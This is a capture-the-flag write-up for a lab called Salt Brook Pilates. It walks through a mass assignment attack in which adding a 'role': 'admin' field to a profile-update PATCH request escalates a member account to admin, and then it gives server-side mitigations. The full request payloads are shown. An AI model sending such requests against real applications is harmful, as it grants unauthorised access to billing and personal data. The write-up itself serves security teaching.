Post

Mass Assignment – Role Escalation | Salt Brook Pilates

Mass Assignment – Role Escalation | Salt Brook Pilates

Lab: Salt Brook Pilates


Overview

Salt Brook Pilates is a two-location reformer Pilates studio with an online class booking platform. Members can manage their profile and book sessions, while staff users have access to billing and reconciliation functionality.

The vulnerable area is the profile update endpoint. The frontend form only submits harmless profile fields, but the backend accepts and updates additional model attributes that should never be user-controllable.

By adding a role field to the profile update request, a normal member can change their account role to admin and gain access to staff-only pages.


Objective

Exploit a mass assignment vulnerability in the profile update API to escalate from a normal member account to an admin/staff account and retrieve the flag.


Vulnerability Identification

This challenge is primarily a Mass Assignment vulnerability.

Classification Hierarchy

A01 - Broken Access Control └── Authorization Failure └── Privilege Escalation └── Mass Assignment of Sensitive Attribute


Reconnaissance

Register a new account:

1
https://9a8ec753-4065-rider-50810.challenges.webverselabs-pro.com/register

After registration, the application redirects to the profile page:

1
https://9a8ec753-4065-rider-50810.challenges.webverselabs-pro.com/account/profile

The profile editor allows updating basic account details such as:

1
2
3
4
display_name
phone
dietary_pref
emergency_contact

At first glance, this appears to be a normal profile update feature.


Exploitation

Step 1 - Capture the Profile Update Request

Update the profile from the UI and review the request in Burp Suite history.

1
2
3
4
5
6
7
8
9
10
PATCH /api/profile HTTP/2
Host: 9a8ec753-4065-rider-50810.challenges.webverselabs-pro.com
Content-Type: application/json

{
  "display_name": "kelvin",
  "phone": "",
  "dietary_pref": "",
  "emergency_contact": ""
}

The frontend only sends four editable profile fields.


Step 2 - Analyze the API Response

The response contains more fields than the frontend submitted:

1
2
3
4
5
6
7
8
9
10
{
  "dietary_pref": "",
  "display_name": "kelvin",
  "email": "kelvin@kel.com",
  "emergency_contact": "",
  "id": 4,
  "phone": "",
  "role": "member",
  "updated_at": "2026-05-19T04:28:32Z"
}

This response is important because it exposes backend model attributes such as:

1
2
3
4
id
email
role
updated_at

The presence of role suggests that account privilege level is stored on the same user object being updated by the profile endpoint.


Step 3 - Identify Mass Assignment Risk

The frontend only submits:

1
2
3
4
5
6
{
  "display_name": "...",
  "phone": "...",
  "dietary_pref": "...",
  "emergency_contact": "..."
}

However, the backend response shows sensitive fields:

1
2
3
4
5
{
  "email": "kelvin@kel.com",
  "role": "member",
  "id": 4
}

This indicates the endpoint may be binding request JSON directly to the user model without enforcing a strict allowlist.

The key question becomes:

1
Will the backend accept a role field if the client manually supplies it?

Step 4 - Add a Sensitive Field

Send the request to Burp Repeater and add the role attribute.

1
2
3
4
5
6
7
8
9
10
11
PATCH /api/profile HTTP/2
Host: 9a8ec753-4065-rider-50810.challenges.webverselabs-pro.com
Content-Type: application/json

{
  "display_name": "kelvin",
  "phone": "",
  "dietary_pref": "",
  "emergency_contact": "",
  "role": "admin"
}

Forward the modified request.


Step 5 - Confirm Role Escalation

After the request is accepted, refresh the application UI.

A new staff/admin tab appears, confirming that the account role has changed from:

1
member

to:

1
admin

This confirms a successful privilege escalation.


Step 6 - Access Staff Billing

Navigate to the staff billing page:

1
https://9a8ec753-4065-rider-50810.challenges.webverselabs-pro.com/staff/billing

The page is now accessible because the account has admin privileges.

The flag is visible on the staff billing page:

1
WEBVERSE{.....}

Proof of Exploitation

Original Profile Update

1
2
3
4
5
6
{
  "display_name": "kelvin",
  "phone": "",
  "dietary_pref": "",
  "emergency_contact": ""
}

Sensitive Attribute Injection

1
2
3
4
5
6
7
{
  "display_name": "kelvin",
  "phone": "",
  "dietary_pref": "",
  "emergency_contact": "",
  "role": "admin"
}

Privilege Change

1
member → admin

Staff Endpoint Accessed

1
/staff/billing

Flag

1
WEBVERSE{.....}

Impact

An attacker can abuse this vulnerability to:

  • Escalate privileges from member to admin.
  • Access staff-only functionality.
  • View billing and reconciliation pages.
  • Modify sensitive account attributes.
  • Potentially access or manipulate other users’ data.
  • Compromise administrative workflows.

In a real Pilates booking platform, this could expose:

  • Customer billing records
  • Class booking history
  • Membership details
  • Staff reconciliation data
  • Personal contact information

Mitigation

Use Server-Side Field Allowlists

Only permit expected profile fields:

1
2
3
4
5
6
allowed_fields = [
    "display_name",
    "phone",
    "dietary_pref",
    "emergency_contact"
]

Reject or ignore everything else.

Never Bind Request Bodies Directly to Models

Avoid patterns such as:

1
user.update(request.json)

because they may allow sensitive attributes to be modified.

Protect Sensitive Fields

Fields such as the following should never be writable through normal profile update endpoints:

1
2
3
4
5
6
7
8
role
is_admin
permissions
id
email_verified
account_status
created_at
updated_at

Enforce Authorization on Role Changes

Role updates should require privileged server-side authorization.

Add Regression Tests

Test that restricted fields cannot be updated through user-controlled requests.


Real-World Insight

Mass assignment vulnerabilities are common in APIs that automatically map incoming JSON to backend models.

The frontend may only expose safe fields, but attackers do not interact only with the frontend. They can intercept and modify requests directly.

This is why backend validation must define what is allowed, not trust what the UI normally sends.

The Salt Brook Pilates challenge demonstrates an important rule:

The client controls the request. The server must control authorization.

This post is licensed under CC BY 4.0 by the author.